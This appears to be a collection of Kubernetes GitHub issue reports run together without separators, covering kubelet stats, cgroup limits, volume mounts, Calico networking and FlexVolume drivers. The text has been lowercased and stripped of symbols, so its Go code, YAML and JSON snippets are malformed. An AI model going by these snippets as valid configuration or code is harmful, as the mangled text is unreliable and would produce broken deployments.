\ capacitybytes\ : 59133136896,\r       \ usedbytes\ : 12288,\r       \ inodesfree\ : 14436792,\r       \ inodes\ : 14436801,\r       \ inodesused\ : 9,\r       \ name\ : \ default-token-66dlm\ \r      }\r      ,\r     \ ephemeral-storage\ : {\r      \ time\ : \ 2018-04-02t12:46:14z\ ,\r      \ availablebytes\ : 27561127936,\r      \ capacitybytes\ : 31158935552,\r      \ usedbytes\ : 86016,\r      \ inodesfree\ : 3746365,\r      \ inodes\ : 3840000,\r      \ inodesused\ : 14\r     }\r    }\r    \r  }\r    \r \r while on windows, there are few stats\r \r    json\r {\r   \ node\ : {\r    \ nodename\ : \ 27347k8s9010\ ,\r    \ starttime\ : \ 2018-03-30t08:56:39z\ ,\r    \ cpu\ : {\r     \ time\ : \ 2018-04-02t12:45:07z\ ,\r     \ usagecorenanoseconds\ : 33493800000000\r    },\r    \ memory\ : {\r     \ time\ : \ 2018-04-02t12:45:07z\ ,\r     \ availablebytes\ : 7690739712,\r     \ usagebytes\ : 2044989440,\r     \ workingsetbytes\ : 898723840,\r     \ rssbytes\ : 0,\r     \ pagefaults\ : 0,\r     \ majorpagefaults\ : 0\r    },\r    \ fs\ : {\r     \ time\ : \ 2018-04-02t12:45:07z\ ,\r     \ availablebytes\ : 0,\r     \ capacitybytes\ : 0,\r     \ usedbytes\ : 0\r    },\r    \ runtime\ : {\r     \ imagefs\ : {\r      \ time\ : \ 2018-04-02t12:45:08z\ ,\r      \ availablebytes\ : 15925956608,\r      \ capacitybytes\ : 32212250624,\r      \ usedbytes\ : 16286294016,\r      \ inodesused\ : 0\r     }\r    }\r   },\r   \ pods\ :   \r  }\r    \r \r this means there are a lot of stats missing on windows, which include\r \r - systemcontainers.kubelet\r - systemcontainers.pods\r - systemcontainers.runtime\r - node.fs\r - node.network\r - pods.cpu\r - pods.memory\r - pods.network\r - pods.volume\r - pods.ephemeral-storage\r - pods.containers.cpu\r - pods.containers.memory\r - pods.containers.logs\r - pods.containers.rootfs\r \r   what you expected to happen  :\r \r kubelet on windows should also provide same stats.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r \r azure cloud provider is always selecting the last element of lb list. the reason is: getserviceloadbalancer   refers the pointer of an local variable within for loop:\r \r https://github.com/kubernetes/kubernetes/blob/e7ed9b408adaaec1e5ddfc167fc18b6aaeca425f/pkg/cloudprovider/providers/azure/azure_loadbalancer.go l202-l206\r \r this is a common mistake as golang is actually reusing same variable within the loop.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

cgroup created during container start:\r in kubernetes/pkg/kubelet/cm/container_manager_linux.go\r func  cm  containermanagerimpl  createnodeallocatablecgroups   error {\r \tcgroupconfig := &cgroupconfig{\r \t\tname: cm.cgrouproot,\r \t\t// the default limits for cpu shares can be very low which can lead to cpu starvation for pods.\r \t\tresourceparameters: getcgroupconfig cm.capacity ,\r \t}\r \tif cm.cgroupmanager.exists cgroupconfig.name  {\r \t\treturn nil\r \t}\r \tif err := cm.cgroupmanager.create cgroupconfig ; err != nil {\r \t\tglog.errorf \ failed to create %q cgroup\ , cm.cgrouproot \r \t\treturn err\r \t}\r \treturn nil\r }\r \r so why cgroup not created during kubelet start?

there are some functions in validation.go for which tests are missing.\r \r fsgroup https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/policy/validation/validation.go l268\r \r supplimentalgroup\r https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/policy/validation/validation.go l287\r \r runasgroup\r https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/policy/validation/validation.go l236\r

this is forked from  12540.  proposal  12802 adds a pod lifecycle event generator. this requires pod workers in kubelet to know what events to expect in from the actions of  syncpod .    background  :   syncpod   https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/container/runtime.go l56  is the all-encompassing function defined in the container runtime interface to drive pod states to match the spec.  syncpod  can perform millions of tasks, but all of them are hidden from kubelet. the reason behind the abstraction level is that the container runtimes  docker and rkt  are so different, and it is simpler to push all the implementation details down to individual runtimes. the downside, however, is that the code is hard to profile and reason about.   here are a few options that we can do.    option 1: keep syncpod as a black box   kubelet remains unaware of what's going on in  syncpod , but  syncpod  would return a list of expected events to for pod worker to wait on. pros  +  and cons  - : -  +  no change to the container runtime interface or the main kubelet code. individual runtimes can divert naturally. -  -  still need to restructure the code in docker/rkt packages. -  -   syncpod  remains a monolithic function.    option 2: define clear control flow and expectations in kubelet   break  syncpod  into a couple of functions in the container runtime interface and define expected events for each of them. e.g.,      go func syncpods ....  {     if !runtime.networkisup   {         runtime.setupnetwork           // record the networksetupcompleted event in expectations     }     if ! runtime.containerisrunning   {         runtime.startcontainer           // record the containerstarted event in expectations     }     ... }      pros  +  and cons  - : -  +  the overall control flow is clear in kubelet. -  -  it's hard to come up with a control flow that would work both for rkt and docker  e.g., docker would need to kill all containers if pod infra container needs to be restarted .    option 3: define a generic execution plan at the runtime-level abstraction    this is a compromise between option 1 and 2. instead of forcing a control flow in kubelet, we'd ask each runtime what the execution plan is, and calls individual functions to complete this plan. e.g.,      go type executionplan struct {         teardownnetwork   bool         setupnetwork      bool         containerstokill    string         containerstostart   string }  func getexecutionplan api.pod, kubecontainer.pod    executionplan, error  ...      based on the plan, we can augment the container runtime interface to include new actions.  | plan | action | expected events | | --- | --- | --- | | teardownnetwork | setupnetwork   | networksetupcompleted | | containerstokill | killcontainersinpod   | containerterminated | | containerstostart | createcontainersinpod   | containercreated |  pros  +  and cons  - : -  +  the overall execution plan is clear in kubelet. -  -  need to come up with a generic executionplan understood by both runtimes.  ---  i am leaning towards option 3 at the moment. the example i use is still more docker-centric, and needs to be worked on more for rkt. @yifan-gu, what do you think about this?

negotiateversion has several problems: 1. negotiateversion does not check group/versions exposed at /apis and prints a warning message when using kubectl to create an experimental resource. 2. negotiateversion takes the client config.version into consideration, but it's not clear what value should be put in client config.version as we have multiple groups now. we plan to create a config for each group, and calls negotiateversion for each group.  14592 fixes the problem but it needs to be broken into smaller pieces to receive proper review.  in  14893 we temporarily disable the warning message in negotiateversion. we need to revert that when we have a proper fix.  @lavalamp @krousey

scripts like  cluster\\test-e2e.sh  start other scripts / tests in  hack  but this folder is missing in a release. there is a todo in the script: https://github.com/kubernetes/kubernetes/blob/master/cluster/test-e2e.sh l18  why is this important? as a newbie you download an release because you figured this is a tested package. if something is wrong with your cluster and you try to debug these scripts seems helpful. but than they miss  hack .

23576 added an annotation to support dns on route53 on aws.  to _really_ do this right, we need to think harder about how we want to evolve service and ingress.  in the mean time, it seems reasonable to do the same trick with gce cloud dns.  add an annotation and watch dns appear.  this would be a great opportunity for a community-contributed patch, if anyone is looking for ideas.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r dynamic provisioning tests are flaky, perhaps due to test cleanup:\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_provisioning.go:570\r expected error:\r     < errors.errorstring | 0xc4203f4d10>: {\r         s: \ persistentvolume pvc-75bfa964-7611-11e7-8309-42010af0003c still exists within 20m0s\ ,\r     }\r     persistentvolume pvc-75bfa964-7611-11e7-8309-42010af0003c still exists within 20m0s\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_provisioning.go:143\r    \r \r    \r error: 2 leaked resources\r   disks  \r +gke-bootstrap-e2e-9cfc-pvc-4f55f7b2-7613-11e7-8309-42010af0003c  us-central1-f  2        pd-standard  ready\r +gke-bootstrap-e2e-9cfc-pvc-75bfa964-7611-11e7-8309-42010af0003c  us-central1-f  2        pd-standard  ready\r    \r \r  testgrid  https://k8s-testgrid.appspot.com/sig-storage gke-slow \r  logs  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-slow/7817 \r \r \r   what you expected to happen  :\r tests should pass\r

is this a bug report or feature request?  :\r  \r   what happened  :\r kubelet crashes with:\r \r    bash\r kubelet.go:1820  skipping pod synchronization -  failed to start containermanager failed to enforce system reserved cgroup limits on \ /system.slice\ : \ /system.slice\  cgroup does not exist\r    \r without the  --enforce-node-allocatable=pods,system-reserved,kube-reserved  kubelet comes up and provides no errors.\r \r   what you expected to happen  :\r kubelet comes up an set the limits of the cgroup slices.\r \r   how to reproduce it  as minimally and precisely as possible   :\r configuration:\r \r    bash\r 1.  change systemd config\r   /etc/systemd/system.conf\r  manager \r joincontrollers=cpu,cpuacct,cpuset,net_cls,net_prio,hugetlb,memory\r \r 2.  change the docker daemon config\r cat /etc/docker/daemon.json\r {\r     \ debug\ : true,\r     \ exec-opts\ :  \ native.cgroupdriver=systemd\  ,\r     \ cgroup-parent\ : \ container.slice\ \r }\r \r 3.  change the slice of docker\r   /run/systemd/system/docker.service\r  unit \r requires=torcx.target\r after=torcx.target\r description=docker application container engine\r documentation=http://docs.docker.com\r after=containerd.service docker.socket network-online.target\r wants=network-online.target\r requires=containerd.service docker.socket\r \r  service \r environmentfile=/run/metadata/torcx\r type=notify\r environmentfile=-/run/flannel/flannel_docker_opts.env\r environment=docker_selinux=--selinux-enabled=true\r \r   the default is not to use systemd for cgroups because the delegate issues still\r   exists and systemd currently does not support the cgroup feature set required\r   for containers run by docker\r execstart=/usr/bin/env path=${torcx_bindir}:${path} ${torcx_bindir}/dockerd --host=fd:// --containerd=/var/run/docker/libcontainerd/docker-containerd.sock $docker_selinux $docker_opts $docker_cgroups $docker_opt_bip $docker_opt_mtu $docke\r execreload=/bin/kill -s hup $mainpid\r limitnofile=1048576\r   having non-zero limit s causes performance problems due to accounting overhead\r   in the kernel. we recommend using cgroups to do container-local accounting.\r limitnproc=infinity\r limitcore=infinity\r   uncomment tasksmax if your systemd version supports it.\r   only systemd 226 and above support this version.\r tasksmax=infinity\r timeoutstartsec=0\r   set delegate yes so that systemd does not reset the cgroups of docker containers\r delegate=yes\r   kill only the docker process, not all processes in the cgroup\r killmode=process\r   restart the docker process if it exits prematurely\r restart=on-failure\r startlimitburst=3\r startlimitinterval=60s\r \r  install \r wantedby=multi-user.target\r \r   /etc/systemd/system/docker.service.d/set-slice.conf\r  service \r slice=kube.slice\r \r 4.  start kubelet\r   /etc/systemd/system/kubelet.service\r  unit \r description=kubelet service\r require=container.slice\r require=docker.service\r \r  service \r delegate=yes\r slice=kube.slice\r \r execstart=/opt/kubelet \\\r   --cgroup-root=/container.slice \\\r   --cgroup-driver=systemd \\\r   --cgroups-per-qos \\\r   --cgroup-driver=systemd \\\r   --eviction-hard=memory.available<1gi,nodefs.available<10% \\\r   --enforce-node-allocatable=pods,system-reserved,kube-reserved \\\r   --kube-reserved=cpu=200m,memory=512mi \\\r   --kube-reserved-cgroup=/kube.slice \\\r   --system-reserved-cgroup=/system.slice \\\r   --system-reserved=cpu=200m,memory=512mi \\\r   --pod-manifest-path=/etc/kubernetes/manifests\r    \r \r   anything else we need to know?  :\r the slices are created with the following unit files:\r \r    bash\r   container slice\r   /usr/lib/systemd/system/container.slice\r  unit \r description=limited resources slice for containersc\r documentation=man:systemd.special 7 \r defaultdependencies=no\r before=slices.target\r requires=-.slice\r after=-.slice\r \r   kube slice\r   /usr/lib/systemd/system/kube.slice\r  unit \r description=limited resources slice for kubernetes services\r documentation=man:systemd.special 7 \r defaultdependencies=no\r before=slices.target\r requires=-.slice\r after=-.slice\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.5\r - cloud provider or hardware configuration  : vm  later bare-metal \r - os  e.g. from /etc/os-release : \r    bash\r name=\ container linux by coreos\ \r id=coreos\r version=1520.0.0\r version_id=1520.0.0\r build_id=2017-08-30-0000\r pretty_name=\ container linux by coreos 1520.0.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :  linux core-01 4.13.0-rc7-coreos  1 smp tue aug 29 23:42:52 utc 2017 x86_64 intel r  core tm  i5-5287u cpu @ 2.90ghz genuineintel gnu/linux \r - install tools: vagrant\r - others: docker 17.06.1-ce\r

when invoking any plugin by kubectl, it exports the options specified in plugin yaml file as env vars. if there are any options that need to be designed as boolean type, for example, if you want to have a boolean type option \ create-instance\  then the plugin should always be invoked as follows:\r    \r kubectl plugin <plugin_name> --create-instance=true\r     \r instead of just \r    \r kubectl plugin <plugin_name> --create-instance\r    \r you need to explicitly specify the value otherwise the env var values get messed up especially when you have multiple various type options.\r

/ /  \r this test case has been failing for a while and affects a number of jobs:  triage report  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bsig-apps%5c%5d%20daemon%20set%20%5c%5bserial%5c%5d%20should%20adopt%20existing%20pods%20when%20creating%20a%20rollingupdate%20daemonset%20regardless%20of%20templategeneration \r \r this is affecting multiple jobs on the  release-master-blocking  https://k8s-testgrid.appspot.com/sig-release-master-blocking  testgrid dashboard, and prevents us from cutting 1.9.0-alpha.2  kubernetes/sig-release 22 . is there work ongoing to bring this job back to green?\r \r  triage cluster a39a48487b56c56a97d6  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bsig-apps%5c%5d%20daemon%20set%20%5c%5bserial%5c%5d%20should%20adopt%20existing%20pods%20when%20creating%20a%20rollingupdate%20daemonset%20regardless%20of%20templategeneration a39a48487b56c56a97d6 \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apps/daemon_set.go:435\r expected error:\r     < url.error | 0xc421c50fc0>: {\r         op: \ get\ ,\r         url: \ https://35.188.204.137/api/v1/namespaces/e2e-tests-daemonsets-wvmh7/pods?labelselector=daemonset-name%3ddaemon-set\ ,\r         err: {\r             op: \ dial\ ,\r             net: \ tcp\ ,\r             source: nil,\r             addr: {\r                 ip:  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 35, 188, 204, 137 ,\r                 port: 443,\r                 zone: \ \ ,\r             },\r             err: {\r                 syscall: \ getsockopt\ ,\r                 err: 0x6f,\r             },\r         },\r     }\r     get https://35.188.204.137/api/v1/namespaces/e2e-tests-daemonsets-wvmh7/pods?labelselector=daemonset-name%3ddaemon-set: dial tcp 35.188.204.137:443: getsockopt: connection refused\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apps/daemon_set.go:553\r    \r \r @kubernetes/sig-apps-test-failures

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r  \r should ignore the \ not found error\  when ensure ipset set or entry are deleted.\r \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /area ipvs\r

is this a bug report or feature request?  :\r   \r   what happened  :\r there are couple cluster addons that use name in format   -<version> :\r - metric server deployment:\r https://github.com/kubernetes/kubernetes/blob/de694a8aa69e3138c3915c1518c548e96e73561c/cluster/addons/metrics-server/metrics-server-deployment.yaml l26\r - heapster deployment: \r https://github.com/kubernetes/kubernetes/blob/5312989b04a8cea5128e78bb7f33975037ad3383/cluster/addons/cluster-monitoring/google/heapster-controller.yaml l52\r - fluentd daemonset:\r https://github.com/kubernetes/kubernetes/blob/6831581f1c86003d584a6dd52591bf59035f9f7c/cluster/addons/fluentd-gcp/fluentd-gcp-ds.yaml l4\r - event exporter deployment:\r https://github.com/kubernetes/kubernetes/blob/e9dd8a68f60d2565069caed068f8fe4d493ea5ce/cluster/addons/fluentd-gcp/event-exporter.yaml l32\r \r it would be great to remove the version suffix from these addon names, so that:\r 1. during cluster upgrade, these addons can be rolling-updated instead of going through the creation & deletion phases, which may cause possibly downtime && duplicated instances.\r 2. the risk of orphaning the older version instances is reduced. this happened multiple times and was often caused by something totally irrelevant  e.g. configuration error on other addons wedged addon-manager .\r \r as most of these components are relevant to instrumentation, adding sig\r @kubernetes/sig-instrumentation-feature-requests \r \r

this bug affects any pod that has a container with a nested volume  any type  beneath an api data volume, such as a secret, configmap, downwardapi or projected volume. in the description and reproduction details below i use a secret volume, but any of the four will demonstrate this behavior.\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when creating a pod with nested secrets volumes  e.g. one volume mounted at  /secrets  and one mounted at  /secrets/more  , the container fails to start with an error like:\r \r    \r e0223 19:38:17.343470   26950 kuberuntime_manager.go:734  container start failed: runcontainererror: failed to start container \ 0cb639759adf342743124c4131d3ad455b7893dbf6c22a1f32ff227f4e93eb20\ : error response from daemon: oci runtime error: container_linux.go:247: starting container process caused \ process_linux.go:364: container init caused \\\ rootfs_linux.go:54: mounting \\\\\\\ /var/lib/kubelet/pods/c158fd95-190b-11e8-98ea-54e1ad486deb/volumes/kubernetes.io~secret/moresecrets\\\\\\\  to rootfs \\\\\\\ /var/lib/docker-latest/devicemapper/mnt/74e8118a087f8296681c478eb5d8e63c78940b3c9b24c55585caef684b324dfc/rootfs\\\\\\\  at \\\\\\\ /var/lib/docker-latest/devicemapper/mnt/74e8118a087f8296681c478eb5d8e63c78940b3c9b24c55585caef684b324dfc/rootfs/secrets/more\\\\\\\  caused \\\\\\\ mkdir /var/lib/docker-latest/devicemapper/mnt/74e8118a087f8296681c478eb5d8e63c78940b3c9b24c55585caef684b324dfc/rootfs/secrets/more: read-only file system\\\\\\\ \\\ \ \r \r    \r \r   what you expected to happen  :\r the container should start with both  /secrets  and  /secrets/moresecrets  mounted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 0. check out master, any version since  58720 \r \r 1. create a  yaml  file with 2 secrets and a pod that makes volumes for the 2 secrets, with one of them mounted within the other:\r    \r apiversion: v1\r kind: list\r items:\r - apiversion: v1\r   kind: secret\r   data:\r     secret: bxkgc2vjcmv0cg==\r   metadata:\r     name: secrets\r   type: opaque\r - apiversion: v1\r   kind: secret\r   data:\r     secret: c2vjcmv0cg==\r   metadata:\r     name: moresecrets\r   type: opaque\r - apiversion: v1\r   kind: pod\r   metadata:\r     name: busybox-pod\r   spec:\r     containers:\r     - image: gcr.io/google_containers/busybox:latest\r       name: busybox\r       command:  \ /bin/sh\  \r       args:  \ -c\ , \ while sleep 3600; do true; done\  \r       volumemounts:\r       - mountpath: /secrets\r         name: secrets\r       - mountpath: /secrets/more\r         name: moresecrets\r     restartpolicy: onfailure\r     volumes:\r     - name: secrets\r       secret:\r         secretname: secrets\r     - name: moresecrets\r       secret:\r         secretname: moresecrets\r    \r \r 2. create the 2 secrets and the pod. assuming you named the above file  pod.yaml :\r    \r kubectl create -f pod.yaml\r     \r \r   anything else we need to know?  :\r this may work for other runtimes if they create mountpoints outside of the sandbox. but it's definitely broken with docker as the runtime.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : request\r  \r \r   what happened  :\r    \r kubeconfig=/etc/kubernetes/admin.conf kubectl -n kube-system describe pod kube-dns-86f4d74b45-kgjbk\r \r ...\r   normal   sandboxchanged          6m  x11 over 6m    kubelet, centos-s-2vcpu-4gb-nyc1-01  pod sandbox changed, it will be killed and re-created.\r   warning  failedcreatepodsandbox  1m  x158 over 6m   kubelet, centos-s-2vcpu-4gb-nyc1-01  failed create pod sandbox: rpc error: code = unknown desc = networkplugin cni failed to set up pod \ kube-dns-86f4d74b45-kgjbk_kube-system\  network: stat /var/lib/calico/nodename: no such file or directory: check that the calico/node container is running and has mounted /var/lib/calico/\r \r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r    \r kubeadm init --apiserver-advertise-address 159.203.178.177 --pod-network-cidr=192.168.0.0/16\r \r kubectl apply -f https://docs.projectcalico.org/v3.0/getting-started/kubernetes/installation/hosted/kubeadm/1.7/calico.yaml\r \r \r    \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r    \r - cloud provider or hardware configuration: https://cloud.digitalocean.com  centos 7.4\r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux centos-s-2vcpu-4gb-nyc1-01 3.10.0-693.17.1.el7.x86_64  1 smp thu jan 25 20:13:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: \r - others:\r

 \r   what happened  :\r \r when using the downward api to render a file via a volume mount from and annotation that has newlines in it, it appears that the file is rendered with the content sorted by line. a concrete example:\r \r    \r $ cat pod.yml\r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     a: \ a\ b\ c\ \r     b: \ c\ b\ a\ \r   name: pod-test\r spec:\r   volumes:\r     - name: config\r       downwardapi:\r         items:\r         - path: \ a\ \r           fieldref:\r             fieldpath: metadata.annotations 'a' \r         - path: \ b\ \r           fieldref:\r             fieldpath: metadata.annotations 'b' \r   containers:\r   - command:\r     - /bin/sh\r     - -c\r     - |\r       sleep 1000\r     image: busybox\r     volumemounts:\r     - name: config\r       mountpath: /configmount\r     name: pod-test\r \r $ kubectl apply -f pod.yml\r pod \ pod-test\  configured\r $ kubectl exec -ti  pod-test sh\r /   cat configmount/a\r a\r b\r c/   cat configmount/b\r a\r b\r c/  \r /  \r    \r \r expected is that  configmount/b  would contain\r    \r c\r b\r a\r    \r but it does not\r \r the above is obviously contrived, this is creating a problem for my team when we are trying to use the downward api to render a yaml file  which obviously has newlines \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : centos

 \r   what happened  :\r we were debugging an issue with a node process existing without any log output, after wrapping the process in:\r \r    \r bash -c 'node server.js;ret=$?;echo $?'\r    \r \r we could see it was a segmentation fault as the node process logged this to stderr, my guess is that wrapping it in bash gives kubernetes a bit longer to read stderr before getting the exit.\r \r   what you expected to happen  :\r \r to always see the output of the processs no matter how quickly it exists.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.2-gke.4\ , gitcommit:\ d2c7a2bd41036f9474287579a725dc54c904e92d\ , gittreestate:\ clean\ , builddate:\ 2018-08-04t03:45:41z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r gcp with standard base image\r

 \r   what happened  :\r flexvolume drive is not being found.\r \r  2018-08-30t14:10:48.591755+00:00 pv41p01if-smds08022901 kubelet 11776 : e0830 14:10:48.591675   11776 desired_state_of_world_populator.go:293  failed to add volume \ test\   specname: \ test\   for pod \ 54381998-ac5e-11e8-b13f-0cc47a587b96\  to desiredstateofworld. err=failed to get plugin from volumespec for volume \ test\  err=no volume plugin matched\r 2018-08-30t14:10:48.692045+00:00 pv41p01if-smds08022901 kubelet 11776 : e0830 14:10:48.691980   11776 desired_state_of_world_populator.go:293  failed to add volume \ test\   specname: \ test\   for pod \ 54381998-ac5e-11e8-b13f-0cc47a587b96\  to desiredstateofworld. err=failed to get plugin from volumespec for volume \ test\  err=no volume plugin matched \r \r here you can see i have explicitly set --flex-volume-plugin-dir for the controller manager even though i'm using the default:\r \r  root      1238  0.0  0.0 103848 57452 ?        ssl  14:06   0:00 /usr/bin/kube-controller-manager --leader-elect=true --leader-elect-lease-duration=30s --service-account-private-key-file=/etc/kubernetes/ssl/apiserver-key.pem --root-ca-file=/etc/kubernetes/ssl/ca.pem --enable-hostpath-provisioner=false --node-monitor-grace-period=40s --node-monitor-period=5s --pod-eviction-timeout=3m0s --use-service-account-credentials --address=127.0.0.1 --kube-api-burst=50 --kube-api-qps=30 --terminated-pod-gc-threshold=1000 --large-cluster-size-threshold=20 --node-eviction-rate=0.01 --secondary-node-eviction-rate=0.005 --horizontal-pod-autoscaler-use-rest-clients=false --flex-volume-plugin-dir=/usr/libexec/kubernetes/kubelet-plugins/volume/exec --kubeconfig=/etc/kubernetes/kube-controller-manager-kubeconfig.yaml --v=2 \r \r here you can see i've explicitly set --volume-plugin-dir for the kubelet config even though i'm using the default:\r \r  root      1254  2.4  0.0 2363068 109552 ?      ssl  aug29  21:08 /usr/bin/kubelet --v=2 --address=17.143.248.100 --hostname-override=pv34p01if-smds04103601 --allow-privileged=true --pod-manifest-path=/etc/kubernetes/manifests --pod-infra-container-image=docker.apple.com/k8s/pause-amd64:3.1 --cadvisor-port=0 --read-only-port=0 --tls-cert-file=/etc/kubernetes/ssl/node-pv34p01if-smds04103601.pv.if.apple.com.pem --tls-private-key-file=/etc/kubernetes/ssl/node-pv34p01if-smds04103601.pv.if.apple.com-key.pem --client-ca-file=/etc/kubernetes/ssl/ca.pem --authentication-token-webhook=true --authorization-mode=webhook --kube-reserved=cpu=500m,memory=512mi --system-reserved=cpu=1000m,memory=5500mi --max-pods=64 --image-pull-progress-deadline=30m --serialize-image-pulls=false --image-gc-low-threshold=60 --image-gc-high-threshold=75 --eviction-soft=imagefs.available<15%,nodefs.available<15%,nodefs.inodesfree<15%,imagefs.inodesfree<15% --eviction-soft-grace-period=imagefs.available=10m,nodefs.available=10m,nodefs.inodesfree=10m,imagefs.inodesfree=10m --eviction-hard=imagefs.available<5%,memory.available<200mi,nodefs.available<5%,nodefs.inodesfree<5%,imagefs.inodesfree<5% --node-status-update-frequency=10s --cgroups-per-qos=true --feature-gates=localstoragecapacityisolation=true --enforce-node-allocatable=pods --cluster-dns=17.143.248.100,172.31.0.3 --cluster-domain=dseqa1 --resolv-conf=/etc/resolv.conf --kubeconfig=/etc/kubernetes/node-kubeconfig.yaml --register-with-taints=node-role.kubernetes.io/master=:noschedule --node-labels=node-role.kubernetes.io/master=true,failure-domain.beta.kubernetes.io/region=pv,failure-domain.beta.kubernetes.io/zone=pv34-0410,apple.k8s.io/local-storage=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --volume-plugin-dir=/usr/libexec/kubernetes/kubelet-plugins/volume/exec \r \r here is controller-managed-attach-detach showing as true:\r \r kubectl describe nodes | grep  volume\r                     volumes.kubernetes.io/controller-managed-attach-detach=true . \r                     volumes.kubernetes.io/controller-managed-attach-detach=true . \r                     volumes.kubernetes.io/controller-managed-attach-detach=true . \r                     volumes.kubernetes.io/controller-managed-attach-detach=true . \r                     volumes.kubernetes.io/controller-managed-attach-detach=true . \r                     volumes.kubernetes.io/controller-managed-attach-detach=true . \r                     volumes.kubernetes.io/controller-managed-attach-detach=true . \r                     volumes.kubernetes.io/controller-managed-attach-detach=true . \r                     volumes.kubernetes.io/controller-managed-attach-detach=true . \r                     volumes.kubernetes.io/controller-managed-attach-detach=true . \r                     volumes.kubernetes.io/controller-managed-attach-detach=true . \r \r here is my driver installed on all nodes including the masters:\r \r  ls -lr /usr/libexec/kubernetes/kubelet-plugins/volume/exec/\r /usr/libexec/kubernetes/kubelet-plugins/volume/exec/:\r total 8\r drwxr-xr-x 2 root root 4096 aug 30 02:20 bithub~lvm\r \r /usr/libexec/kubernetes/kubelet-plugins/volume/exec/bithub~lvm:\r total 12\r -rwxr-xr-x 1 root root 10127 aug 30 02:20 lvm \r 